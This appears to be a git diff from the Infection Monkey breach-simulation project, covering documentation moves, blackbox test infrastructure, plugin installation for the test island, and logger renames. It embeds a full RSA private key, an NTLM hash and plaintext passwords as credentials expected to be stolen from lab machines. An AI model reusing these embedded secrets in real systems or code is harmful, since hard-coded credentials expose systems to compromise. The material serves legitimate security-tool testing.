a/docs/content/usage/scenarios/custom-scenario/_index.md b/docs/content/usage/scenarios/custom-scenario/_index.md deleted file mode 100644 index 172a692c8c2..00000000000 --- a/docs/content/usage/scenarios/custom-scenario/_index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: " Custom" -date: 2021-07-28T14:36:02+05:30 -description: "Configure a custom scenario to test your network's defenses." -weight: 100 -pre: "" -chapter: true ---- - -# Custom - -The Infection Monkey is a versatile breach and attack simulation tool. Choosing the "Custom" scenario will allow you to access all of its capabilities and configure the simulation exactly according to your needs. You can enhance, optimize, and fine-tune the Monkey's behavior. - -![Custom scenario](/images/island/landing_page/choose_scenario_with_arrow_to_custom.png "Custom scenario") - -Below are some examples with instructions on how to configure them. - -{{% children description=True style="p"%}} diff --git a/docs/content/usage/scenarios/custom-scenario/network-breach.md b/docs/content/usage/scenarios/network-breach.md similarity index 100% rename from docs/content/usage/scenarios/custom-scenario/network-breach.md rename to docs/content/usage/scenarios/network-breach.md diff --git a/docs/content/usage/scenarios/custom-scenario/network-segmentation.md b/docs/content/usage/scenarios/network-segmentation.md similarity index 100% rename from docs/content/usage/scenarios/custom-scenario/network-segmentation.md rename to docs/content/usage/scenarios/network-segmentation.md diff --git a/docs/content/usage/scenarios/custom-scenario/other.md b/docs/content/usage/scenarios/other.md similarity index 100% rename from docs/content/usage/scenarios/custom-scenario/other.md rename to docs/content/usage/scenarios/other.md diff --git a/docs/static/images/island/configuration_page/cryptojacker_configuration.png b/docs/static/images/island/configuration_page/cryptojacker_configuration.png new file mode 100644 index 00000000000..44727e456b7 Binary files /dev/null and b/docs/static/images/island/configuration_page/cryptojacker_configuration.png differ diff --git a/docs/static/images/island/configuration_page/ransomware_configuration.png b/docs/static/images/island/configuration_page/ransomware_configuration.png index 2662e7b091a..b4776c7a62e 100644 Binary files a/docs/static/images/island/configuration_page/ransomware_configuration.png and b/docs/static/images/island/configuration_page/ransomware_configuration.png differ diff --git a/docs/static/images/island/plugins_page/plugin_installation.PNG b/docs/static/images/island/plugins_page/plugin_installation.PNG new file mode 100644 index 00000000000..bfb38cacb70 Binary files /dev/null and b/docs/static/images/island/plugins_page/plugin_installation.PNG differ diff --git a/envs/monkey_zoo/README.md b/envs/monkey_zoo/README.md index d0d239b0051..fd8fcc7aa21 100644 --- a/envs/monkey_zoo/README.md +++ b/envs/monkey_zoo/README.md @@ -24,10 +24,18 @@ scanning times in a real-world scenario and many more. - This account should have `Service Account User` and `Compute Instance Admin` permissions - A GCP key file for the service account -Run envs/monkey_zoo/build_images.sh to build the images for the MonkeyZoo. These are the images from which the zoo will be deployed. +To install the requirements run packer init, for example: +```bash +packer init ./browser-credentials.pkr.hcl +``` + +Then run the envs/monkey_zoo/build_images.sh to build the images for the MonkeyZoo. These are the images from which the zoo will be deployed. Example: - ./build_images.sh --project my-gcp-project --account-file /path/to/gcp_key.json packer/tunneling.pkr.hcl + `../build_images.sh --project-id my-gcp-project --account-file /path/to/gcp_key.json packer/tunneling.pkr.hcl` + +If you want to keep the machine running to debug the image, add `--debug` flag to the command. +If you want to override an already existing image add `--force` flag to the command. ## MonkeyZoo network diff --git a/envs/monkey_zoo/blackbox/analyzers/stolen_credentials_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/stolen_credentials_analyzer.py index e1bb3ea3ae8..56b5b692156 100644 --- a/envs/monkey_zoo/blackbox/analyzers/stolen_credentials_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/stolen_credentials_analyzer.py @@ -20,18 +20,11 @@ def analyze_test_results(self) -> bool: stolen_credentials = set(self.island_client.get_stolen_credentials()) - if self.expected_stolen_credentials == stolen_credentials: + if set(self.expected_stolen_credentials).issubset(stolen_credentials): self.log.add_entry("All expected credentials were stolen") return True - if len(stolen_credentials) != len(self.expected_stolen_credentials): - self.log.add_entry( - f"Expected {len(self.expected_stolen_credentials)} credentials to be stolen but " - f"{len(stolen_credentials)} were stolen" - ) - elif self.expected_stolen_credentials != stolen_credentials: - self.log.add_entry( - "The contents of the stolen credentials did not match the expected credentials" - ) + missing = set(self.expected_stolen_credentials) - set(stolen_credentials) + self.log.add_entry(f"Some credentials were not stolen: {list(missing)}") return False diff --git a/envs/monkey_zoo/blackbox/expected_credentials.py b/envs/monkey_zoo/blackbox/expected_credentials.py new file mode 100644 index 00000000000..c6bd28d219b --- /dev/null +++ b/envs/monkey_zoo/blackbox/expected_credentials.py @@ -0,0 +1,71 @@ +from common.credentials import Credentials, EmailAddress, NTHash, Password, SSHKeypair, Username + +# Depth 2a +ssh_private_key = """-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAyH0k1LOILDTVli5NlqcvRdoRc2aMn5I5ZhJsnBNuzB28D6Fd +AEbjDn/v+dPK58L4WGoGMpHqk47mNDgdTIkfP5BBgbuQpBUmrsCZn8QVRpqZ3ESC +XsnMrOjrYRqTelquGWR9xJvIJwNz3UbME2c8SYOPc3tHsINyn8Tt2ssA8L9KjcTe +6CzNpbCNbZ6Q3o7/isYP79ogiFY+VHK3rtBY17aG9bDx5vce8RoIr463u/+a+jYX +PuzZgndTtO3EPwq4Ti1pydpuJo9PYh1iY6RP3XPMYNwpoKToYzyESeqqwolmz+nh +Eh/rQtuwwW7043IM+62w9UPkHWv28pqDZxBxhwIDAQABAoIBAGA1/ei8xwo/yIer +bLxxOnRQ87LncXBaIYVkLg6wHKmDU25Ex3aMjgW1S5oeEu8pVzhGmPbHo0RwfPRu +QVErNH2yYl05f23eYJPYBWDwHi2ln1Re5BlMyhXoKJyOvlsnDQlOejRRdbmTJJT5 +lpFxJzM4GS0X6g1A507YmDQ42xisOkmL/Wsv/t9/GiE9P6h0I1bNmXzSy8sDZwea +NDe09U+rfuIkh2tO+nEzWs13AG3CxV9YlK4vMK7A0KiWF8LPvrbBegEm5VG+qrJ2 +sxoDkCBc5DV6QRyLU1SIyDIRIR2J0gTgfLDSbqNp0qm+Zby2o3V/q26bvrWWwP9a +U/W2vJECgYEA5jK52pUMmriCiWNgQOiyOGx5OfHo6gRomiiiALivaMhNN3mm8CFI +uIXMjU1V0BoHXCW8ciMOAeXl72rX/XVC+/E3GJQFCtBHJQ6tPNOOnWcxR/Ldwvxd +sBz8Wx50MlxvbrxqtzTn+VmVnExKskwsZGI/GDPotPo7QKcBJUsGfhsCgYEA3vXx +cyG805RsJH/J54cg+cHW5xDn6YNuHwbVdB4FWfi184oDDxtPT84XF1JA3dN3gwJF +SfO1kNwpNK0C58evJA+6rZfUps/HOcQqFPvzCUhkLeZD5QgaOTQZBKndXYgeXkJD +tpN+kjhCdxWN40N6FAMtLUYTbaQdTUHSBuXzoQUCgYEAgwXgTw+DCxV2ByjvAkLw +HblwDpEoVvqHZyc1fl+gR22qtaaiZA8tywks8khQTZBjHAnGhth5Ao+OHoWbxoHV +zHzxNSYa8Jq3w9nktLhddi3kGOWdX3ww/yqgYGSnEnsWWdsYioqsdnqM81dhNLay +lbht3SK+kzPSQexMdKONYH0CgYAS1lKk+Ie8lICigM1tK0SE9XSTpyEA4KLQKkKk +gdjP5ixxPArQHu2Pf4kB5mgmlbQ2NF3oRpfjekZc9fUV4hARCucpvXcw9MMPRVyM +01CQSzZzjk3ULuAQTy+B7lwOh+6Q5iZUaZe7ANfUudR4C/5nbHFHrvD7RW9YVKRL +AuiXhQKBgDMFeZRfu/dhTdVQ9XZigOWvkeXYxxoloiIHIg3ByZwEAlH/RnlA0M1Z +OaLt/Q1KNh2UDKkstfOAJ1FdqLm3JU0Hqx/D8dpvTUQBkqoMf8U1WQC2WVmlpmUv +drIj1d5/r2N1Cxorx0IbVWsW7WPVM/lVyBU7+2QsKoI5YIervsJY +-----END RSA PRIVATE KEY-----\n""" + +ssh_public_key = ( + "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIfSTUs4gsNNWWLk2Wpy" + "9F2hFzZoyfkjlmEmycE27MHbwPoV0ARuMOf+/508rnwvhYagYykeqTjuY0" + "OB1MiR8/kEGBu5CkFSauwJmfxBVGmpncRIJeycys6OthGpN6Wq4ZZH3Em8" + "gnA3PdRswTZzxJg49ze0ewg3KfxO3aywDwv0qNxN7oLM2lsI1tnpDejv+K" + "xg/v2iCIVj5Ucreu0FjXtob1sPHm9x7xGgivjre7/5r6Nhc+7NmCd1O07c" + "Q/CrhOLWnJ2m4mj09iHWJjpE/dc8xg3CmgpOhjPIRJ6qrCiWbP6eESH+tC" + "27DBbvTjcgz7rbD1Q+Qda/bymoNnEHGH m0nk3y@sshkeys-11\n" +) + +expected_credentials_depth_2_a = { + # NTLM hash stolen from mimikatz-14 + Credentials( + identity=Username(username="m0nk3y"), + secret=NTHash(nt_hash="5da0889ea2081aa79f6852294cba4a5e"), + ), + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="pAJfG56JX><")), + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="Ivrrw5zEzs")), + # SSH keypair from tunneling-11 + Credentials( + identity=Username(username="m0nk3y"), + secret=SSHKeypair(private_key=ssh_private_key, public_key=ssh_public_key), + ), +} + +expected_credentials_depth_1_a = { + # Stolen from Chrome browser on 10.2.2.65 + Credentials(identity=Username(username="forBBtests"), secret=Password(password="supersecret")), + Credentials( + identity=Username(username="usernameFromForm"), + secret=Password(password="passwordFromForm"), + ), + # Stolen from Chromium browser on 10.2.3.70 + Credentials( + identity=EmailAddress(email_address="my@email.com"), + secret=Password(password="mysecretpass"), + ), + Credentials(identity=Username(username="m0nk3y"), secret=Password(password="blahblahblah")), + Credentials(identity=Username(username="test"), secret=Password(password="password123")), +} diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 10186343a0b..a2f3fbcb1bc 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -30,23 +30,25 @@ "log4j-tomcat-51", "log4j-tomcat-52", "snmp-20", + "rdp-64", + "rdp-65", + "browser-credentials-66", + "browser-credentials-67", ], } DEPTH_2_A = { - "europe-west3-a": [ - "sshkeys-11", - "sshkeys-12", - ], + "europe-west3-a": ["sshkeys-11", "sshkeys-12", "mimikatz-14", "mimikatz-15"], "europe-west1-b": [ "powershell-3-46", "powershell-3-44", + "rdp-64", + "rdp-65", ], } - DEPTH_1_A = { - "europe-west3-a": ["hadoop-2", "hadoop-3", "mssql-16", "mimikatz-14", "mimikatz-15"], + "europe-west3-a": ["hadoop-2", "hadoop-3", "mssql-16", "mimikatz-15"], "europe-west1-b": [ "log4j-logstash-55", "log4j-logstash-56", @@ -55,6 +57,8 @@ "log4j-tomcat-51", "log4j-tomcat-52", "snmp-20", + "browser-credentials-66", + "browser-credentials-67", ], } @@ -63,7 +67,6 @@ "tunneling-9", "tunneling-10", "tunneling-11", - "mimikatz-15", ], "europe-west1-b": [ "powershell-3-45", diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 7ac0d84c7be..7d5124c51d4 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -2,9 +2,11 @@ import logging import time from http import HTTPStatus -from typing import List, Mapping, Optional, Sequence +from threading import Thread +from typing import Any, Dict, List, Mapping, Optional, Sequence from common import OperatingSystem +from common.agent_plugins import AgentPluginRepositoryIndex, AgentPluginType from common.credentials import Credentials from common.types import AgentID, MachineID from envs.monkey_zoo.blackbox.island_client.i_monkey_island_requests import IMonkeyIslandRequests @@ -19,8 +21,9 @@ GET_AGENT_EVENTS_ENDPOINT = "api/agent-events" LOGOUT_ENDPOINT = "api/logout" GET_AGENT_OTP_ENDPOINT = "/api/agent-otp" +INSTALL_PLUGIN_URL = "api/install-agent-plugin" -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) def avoid_race_condition(func): @@ -35,15 +38,95 @@ def __init__(self, requests: IMonkeyIslandRequests): def get_api_status(self): return self.requests.get("api") + def install_agent_plugins(self): + available_plugins_index_url = "api/agent-plugins/available/index" + installed_plugins_manifests_url = "api/agent-plugins/installed/manifests" + + response = self.requests.get(available_plugins_index_url) + plugin_repository_index = AgentPluginRepositoryIndex(**response.json()) + + response = self.requests.get(installed_plugins_manifests_url) + installed_plugins = response.json() + + install_threads: List[Thread] = [] + + # all of the responses from the API endpoints are serialized + # so we don't need to worry about type conversion + for plugin_type in plugin_repository_index.plugins: + install_threads.extend( + self._install_all_agent_plugins_of_type( + plugin_type, plugin_repository_index, installed_plugins + ) + ) + + for t in install_threads: + t.join() + + def _install_all_agent_plugins_of_type( + self, + plugin_type: AgentPluginType, + plugin_repository_index: AgentPluginRepositoryIndex, + installed_plugins: Dict[str, Any], + ) -> Sequence[Thread]: + logger.info(f"Installing {plugin_type} plugins") + install_threads: List[Thread] = [] + for plugin_name in plugin_repository_index.plugins[plugin_type]: + plugin_versions = plugin_repository_index.plugins[plugin_type][plugin_name] + latest_version = str(plugin_versions[-1].version) + + if self._latest_version_already_installed( + installed_plugins, plugin_type, plugin_name, latest_version + ): + logger.info(f"{plugin_type}-{plugin_name}-v{latest_version} is already installed") + continue + + t = Thread( + target=self._install_single_agent_plugin, + args=(plugin_name, plugin_type, latest_version), + daemon=True, + ) + t.start() + install_threads.append(t) + + return install_threads + + def _latest_version_already_installed( + self, + installed_plugins: Dict[str, Any], + plugin_type: AgentPluginType, + plugin_name: str, + latest_version: str, + ) -> bool: + installed_plugin = installed_plugins.get(plugin_type, {}).get(plugin_name, {}) + return installed_plugin and installed_plugin.get("version", "") == latest_version + + def _install_single_agent_plugin( + self, + plugin_name: str, + plugin_type: AgentPluginType, + latest_version: str, + ): + install_plugin_request = { + "plugin_type": plugin_type, + "name": plugin_name, + "version": latest_version, + } + if self.requests.put_json(url=INSTALL_PLUGIN_URL, json=install_plugin_request).ok: + logger.info(f"Installed {plugin_name} {plugin_type} v{latest_version} to Island") + else: + logger.error( + f"Could not install {plugin_name} {plugin_type} " f"v{latest_version} to Island" + ) + @avoid_race_condition def set_masque(self, masque): masque = b"" if masque is None else masque for operating_system in [operating_system.name for operating_system in OperatingSystem]: if self.requests.put(f"api/agent-binaries/{operating_system}/masque", data=masque).ok: formatted_masque = masque if len(masque) <= 64 else (masque[:64] + b"...") - LOGGER.info(f'Setting {operating_system} masque to "{formatted_masque}"') + logger.info(f'Setting {operating_system} masque to "{formatted_masque}"') else: - LOGGER.error(f"Failed to set {operating_system} masque") + logger.error(f"Failed to set {operating_system} masque") assert False def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: @@ -60,18 +143,9 @@ def get_stolen_credentials(self) -> Sequence[Credentials]: @avoid_race_condition def import_config(self, test_configuration: TestConfiguration): - self._set_island_mode() self._import_config(test_configuration) self._import_credentials(test_configuration.propagation_credentials) - @avoid_race_condition - def _set_island_mode(self): - if self.requests.put_json("api/island/mode", json="advanced").ok: - LOGGER.info("Setting island mode to Custom.") - else: - LOGGER.error("Failed to set island mode") - assert False - @avoid_race_condition def _import_config(self, test_configuration: TestConfiguration): response = self.requests.put_json( @@ -79,9 +153,9 @@ def _import_config(self, test_configuration: TestConfiguration): json=test_configuration.agent_configuration.dict(simplify=True), ) if response.ok: - LOGGER.info("Configuration is imported.") + logger.info("Configuration is imported.") else: - LOGGER.error(f"Failed to import config: {response}") + logger.error(f"Failed to import config: {response}") assert False @avoid_race_condition @@ -94,18 +168,18 @@ def _import_credentials(self, propagation_credentials: List[Credentials]): json=serialized_propagation_credentials, ) if response.ok: - LOGGER.info("Credentials are imported.") + logger.info("Credentials are imported.") else: - LOGGER.error(f"Failed to import credentials: {response}") + logger.error(f"Failed to import credentials: {response}") assert False @avoid_race_condition def run_monkey_local(self): response = self.requests.post_json("api/local-monkey", json={"action": "run"}) if MonkeyIslandClient.monkey_ran_successfully(response): - LOGGER.info("Running the monkey.") + logger.info("Running the monkey.") else: - LOGGER.error("Failed to run the monkey.") + logger.error("Failed to run the monkey.") assert False @staticmethod @@ -120,11 +194,11 @@ def kill_all_monkeys(self): json=TerminateAllAgents(timestamp=time.time()).dict(simplify=True), ) if response.ok: - LOGGER.info("Killing all monkeys after the test.") + logger.info("Killing all monkeys after the test.") else: - LOGGER.error("Failed to kill all monkeys.") - LOGGER.error(response.status_code) - LOGGER.error(response.content) + logger.error("Failed to kill all monkeys.") + logger.error(response.status_code) + logger.error(response.content) assert False @avoid_race_condition @@ -132,35 +206,27 @@ def reset_island(self): self._reset_agent_configuration() self._reset_simulation_data() self._reset_credentials() - self._reset_island_mode() self.set_masque(b"") def _reset_agent_configuration(self): if self.requests.post("api/reset-agent-configuration", data=None).ok: - LOGGER.info("Resetting agent-configuration after the test.") + logger.info("Resetting agent-configuration after the test.") else: - LOGGER.error("Failed to reset agent configuration.") + logger.error("Failed to reset agent configuration.") assert False def _reset_simulation_data(self): if self.requests.post("api/clear-simulation-data", data=None).ok: - LOGGER.info("Clearing simulation data.") + logger.info("Clearing simulation data.") else: - LOGGER.error("Failed to clear simulation data") + logger.error("Failed to clear simulation data") assert False def _reset_credentials(self): if self.requests.put_json("api/propagation-credentials/configured-credentials", json=[]).ok: - LOGGER.info("Resseting configured credentials after the test.") - else: - LOGGER.error("Failed to reset configured credentials") - assert False - - def _reset_island_mode(self): - if self.requests.put_json("api/island/mode", json="unset").ok: - LOGGER.info("Resetting island mode after the test.") + logger.info("Resseting configured credentials after the test.") else: - LOGGER.error("Failed to reset island mode") + logger.error("Failed to reset configured credentials") assert False def get_agents(self) -> Sequence[Agent]: @@ -178,7 +244,7 @@ def get_agent_log(self, agent_id: AgentID) -> Optional[str]: response = self.requests.get(f"{GET_LOG_ENDPOINT}/{agent_id}") if response.status_code == HTTPStatus.NOT_FOUND: - LOGGER.error(f"No log found for agent: {agent_id}") + logger.error(f"No log found for agent: {agent_id}") return None else: response.raise_for_status() @@ -204,23 +270,23 @@ def is_all_monkeys_dead(self): def register(self): try: self.requests.register() - LOGGER.info("Successfully registered a user with the Island.") + logger.info("Successfully registered a user with the Island.") except Exception: - LOGGER.error("Failed to register a user with the Island.") + logger.error("Failed to register a user with the Island.") def login(self): try: self.requests.login() - LOGGER.info("Logged into the Island.") + logger.info("Logged into the Island.") except Exception: - LOGGER.error("Failed to log into the Island.") + logger.error("Failed to log into the Island.") assert False def logout(self): if self.requests.post(LOGOUT_ENDPOINT, data=None).ok: - LOGGER.info("Logged out of the Island.") + logger.info("Logged out of the Island.") else: - LOGGER.error("Failed to log out of the Island.") + logger.error("Failed to log out of the Island.") assert False def get_agent_otp(self): diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 7596911d89e..5921f59d093 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -9,7 +9,7 @@ ISLAND_USERNAME = "test" ISLAND_PASSWORD = "testtest" -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class InvalidRequestError(Exception): diff --git a/envs/monkey_zoo/blackbox/log_handlers/island_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/island_log_parser.py index 91aacb6f450..aa63cdddc88 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/island_log_parser.py +++ b/envs/monkey_zoo/blackbox/log_handlers/island_log_parser.py @@ -1,7 +1,7 @@ import logging from datetime import datetime -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class IslandLogParser: diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py index 6a046a47498..05046221296 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py @@ -1,7 +1,7 @@ import logging import re -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class MonkeyLogParser(object): @@ -16,11 +16,11 @@ def read_log(self): def print_errors(self): errors = MonkeyLogParser.get_errors(self.log_contents) if len(errors) > 0: - LOGGER.info("Found {} errors:".format(len(errors))) + logger.info("Found {} errors:".format(len(errors))) for index, error_line in enumerate(errors): - LOGGER.info("Err #{}: {}".format(index, error_line)) + logger.info("Err #{}: {}".format(index, error_line)) else: - LOGGER.info("No errors!") + logger.info("No errors!") @staticmethod def get_errors(log_contents): @@ -30,11 +30,11 @@ def get_errors(log_contents): def print_warnings(self): warnings = MonkeyLogParser.get_warnings(self.log_contents) if len(warnings) > 0: - LOGGER.info("Found {} warnings:".format(len(warnings))) + logger.info("Found {} warnings:".format(len(warnings))) for index, warning_line in enumerate(warnings): - LOGGER.info("Warn #{}: {}".format(index, warning_line)) + logger.info("Warn #{}: {}".format(index, warning_line)) else: - LOGGER.info("No warnings!") + logger.info("No warnings!") @staticmethod def get_warnings(log_contents): diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py index 989bbf9629a..35853c62d93 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py @@ -10,7 +10,7 @@ from envs.monkey_zoo.blackbox.utils import bb_singleton from monkey_island.cc.models import Agent, Machine -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class MonkeyLogsDownloader(object): @@ -21,7 +21,7 @@ def __init__(self, island_client: MonkeyIslandClient, log_dir_path: str): def download_monkey_logs(self): try: - LOGGER.info("Downloading each monkey log.") + logger.info("Downloading each monkey log.") agents = self.island_client.get_agents() machines = self.island_client.get_machines() @@ -41,7 +41,7 @@ def download_monkey_logs(self): self._download_island_log() except Exception as err: - LOGGER.exception(err) + logger.exception(err) def _download_agent_log(self, agent: Agent, machines: Mapping[MachineID, Machine]): log_file_path = self._get_log_file_path(agent, machines) @@ -66,7 +66,7 @@ def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine] try: machine_ip = str(machines[agent.machine_id].network_interfaces[0].ip) except IndexError: - LOGGER.error(f"Machine with ID {agent.machine_id} has no network interfaces") + logger.error(f"Machine with ID {agent.machine_id} has no network interfaces") machine_ip = "UNKNOWN" start_time = agent.start_time.strftime("%Y-%m-%d_%H-%M-%S") @@ -75,7 +75,7 @@ def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine] @staticmethod def _write_log_to_file(log_file_path: Path, log_contents: str): - LOGGER.debug(f"Writing {len(log_contents)} bytes to {log_file_path}") + logger.debug(f"Writing {len(log_contents)} bytes to {log_file_path}") with open(log_file_path, "w") as f: f.write(log_contents) diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py index 026bf917f53..d950824abd2 100644 --- a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py +++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py @@ -6,7 +6,7 @@ from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader LOG_DIR_NAME = "logs" -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) class TestLogsHandler(object): @@ -20,7 +20,7 @@ def __init__(self, test_name, island_client, log_dir_path): def parse_test_logs(self): log_paths = self.download_logs() if not log_paths: - LOGGER.error( + logger.error( "No logs were downloaded. Maybe no monkeys were ran " "or early exception prevented log download?" ) @@ -37,7 +37,7 @@ def try_create_log_dir_for_test(self): try: os.mkdir(self.log_dir_path) except Exception as e: - LOGGER.error("Can't create a dir for test logs: {}".format(e)) + logger.error("Can't create a dir for test logs: {}".format(e)) @staticmethod def delete_log_folder_contents(log_dir_path): @@ -47,7 +47,7 @@ def delete_log_folder_contents(log_dir_path): @staticmethod def parse_logs(log_paths): for log_path in log_paths: - LOGGER.info("Info from log at {}".format(log_path)) + logger.info("Info from log at {}".format(log_path)) log_parser = MonkeyLogParser(log_path) log_parser.print_errors() log_parser.print_warnings() diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index db6ef851ead..c500c93fbe9 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -10,13 +10,17 @@ import pytest import requests +from treelib import Tree from common import OperatingSystem -from common.credentials import Credentials, NTHash, Password, Username from common.types import OTP, SocketAddress from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.stolen_credentials_analyzer import StolenCredentialsAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer +from envs.monkey_zoo.blackbox.expected_credentials import ( + expected_credentials_depth_1_a, + expected_credentials_depth_2_a, +) from envs.monkey_zoo.blackbox.island_client.agent_requests import AgentRequests from envs.monkey_zoo.blackbox.island_client.i_monkey_island_requests import IMonkeyIslandRequests from envs.monkey_zoo.blackbox.island_client.monkey_island_client import ( @@ -59,7 +63,7 @@ MACHINE_BOOTUP_WAIT_SECONDS = 30 LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) -LOGGER = logging.getLogger(__name__) +logger = logging.getLogger(__name__) @pytest.fixture(autouse=True, scope="session") @@ -67,15 +71,15 @@ def GCPHandler(request, no_gcp, gcp_machines_to_start): if no_gcp: return if len(gcp_machines_to_start) == 0: - LOGGER.info("No GCP machines to start.") + logger.info("No GCP machines to start.") else: - LOGGER.info(f"MACHINES TO START: {gcp_machines_to_start}") + logger.info(f"MACHINES TO START: {gcp_machines_to_start}") try: initialize_gcp_client() start_machines(gcp_machines_to_start) except Exception as e: - LOGGER.error("GCP Handler failed to initialize: %s." % e) + logger.error("GCP Handler failed to initialize: %s." % e) pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") wait_machine_bootup() @@ -87,7 +91,7 @@ def fin(): @pytest.fixture(autouse=True, scope="session") def delete_logs(): - LOGGER.info("Deleting monkey logs before new tests.") + logger.info("Deleting monkey logs before new tests.") TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path()) @@ -117,10 +121,13 @@ def island_client(monkey_island_requests): @pytest.fixture(autouse=True, scope="session") -def register(island_client): +def setup_island(island_client): logging.info("Registering a new user") island_client.register() + logging.info("Installing all available plugins") + island_client.install_agent_plugins() + @pytest.mark.parametrize( "authenticated_endpoint", @@ -326,7 +333,6 @@ def test_island__cannot_access_nonisland_endpoints(island): CLEAR_SIMULATION_DATA_ENDPOINT = "/api/clear-simulation-data" MONKEY_EXPLOITATION_ENDPOINT = "/api/exploitations/monkey" GET_ISLAND_LOG_ENDPOINT = "/api/island/log" -ISLAND_MODE_ENDPOINT = "/api/island/mode" ISLAND_RUN_ENDPOINT = "/api/local-monkey" GET_NODES_ENDPOINT = "/api/nodes" PROPAGATION_CREDENTIALS_ENDPOINT = "/api/propagation-credentials" @@ -337,6 +343,9 @@ def test_island__cannot_access_nonisland_endpoints(island): GET_SECURITY_REPORT_ENDPOINT = "/api/report/security" GET_ISLAND_VERSION_ENDPOINT = "/api/island/version" PUT_AGENT_CONFIG_ENDPOINT = "/api/agent-configuration" +INSTALL_AGENT_PLUGIN_ENDPOINT = "/api/install-agent-plugin" +AVAILABLE_AGENT_PLUGIN_INDEX_ENDPOINT = "/api/agent-plugins/available/index?force_refresh=true" +UNINSTALL_AGENT_PLUGIN_ENDPOINT = "/api/uninstall-agent-plugin" def test_agent__cannot_access_nonagent_endpoints(island): @@ -361,8 +370,6 @@ def test_agent__cannot_access_nonagent_endpoints(island): ) assert agent_requests.get(MONKEY_EXPLOITATION_ENDPOINT).status_code == HTTPStatus.FORBIDDEN assert agent_requests.get(GET_ISLAND_LOG_ENDPOINT).status_code == HTTPStatus.FORBIDDEN - assert agent_requests.get(ISLAND_MODE_ENDPOINT).status_code == HTTPStatus.FORBIDDEN - assert agent_requests.put(ISLAND_MODE_ENDPOINT, data=None).status_code == HTTPStatus.FORBIDDEN assert agent_requests.post(ISLAND_RUN_ENDPOINT, data=None).status_code == HTTPStatus.FORBIDDEN assert agent_requests.get(GET_MACHINES_ENDPOINT).status_code == HTTPStatus.FORBIDDEN assert agent_requests.get(GET_NODES_ENDPOINT).status_code == HTTPStatus.FORBIDDEN @@ -383,6 +390,18 @@ def test_agent__cannot_access_nonagent_endpoints(island): assert ( agent_requests.put(PUT_AGENT_CONFIG_ENDPOINT, data=None).status_code == HTTPStatus.FORBIDDEN ) + assert ( + agent_requests.put(INSTALL_AGENT_PLUGIN_ENDPOINT, data=None).status_code + == HTTPStatus.FORBIDDEN + ) + assert ( + agent_requests.get(AVAILABLE_AGENT_PLUGIN_INDEX_ENDPOINT).status_code + == HTTPStatus.FORBIDDEN + ) + assert ( + agent_requests.post(UNINSTALL_AGENT_PLUGIN_ENDPOINT, data=None).status_code + == HTTPStatus.FORBIDDEN + ) def test_unauthenticated_user_cannot_access_API(island): @@ -419,10 +438,6 @@ def test_unauthenticated_user_cannot_access_API(island): ) assert island_requests.get(MONKEY_EXPLOITATION_ENDPOINT).status_code == HTTPStatus.UNAUTHORIZED assert island_requests.get(GET_ISLAND_LOG_ENDPOINT).status_code == HTTPStatus.UNAUTHORIZED - assert island_requests.get(ISLAND_MODE_ENDPOINT).status_code == HTTPStatus.UNAUTHORIZED - assert ( - island_requests.put(ISLAND_MODE_ENDPOINT, data=None).status_code == HTTPStatus.UNAUTHORIZED - ) assert ( island_requests.post(ISLAND_RUN_ENDPOINT, data=None).status_code == 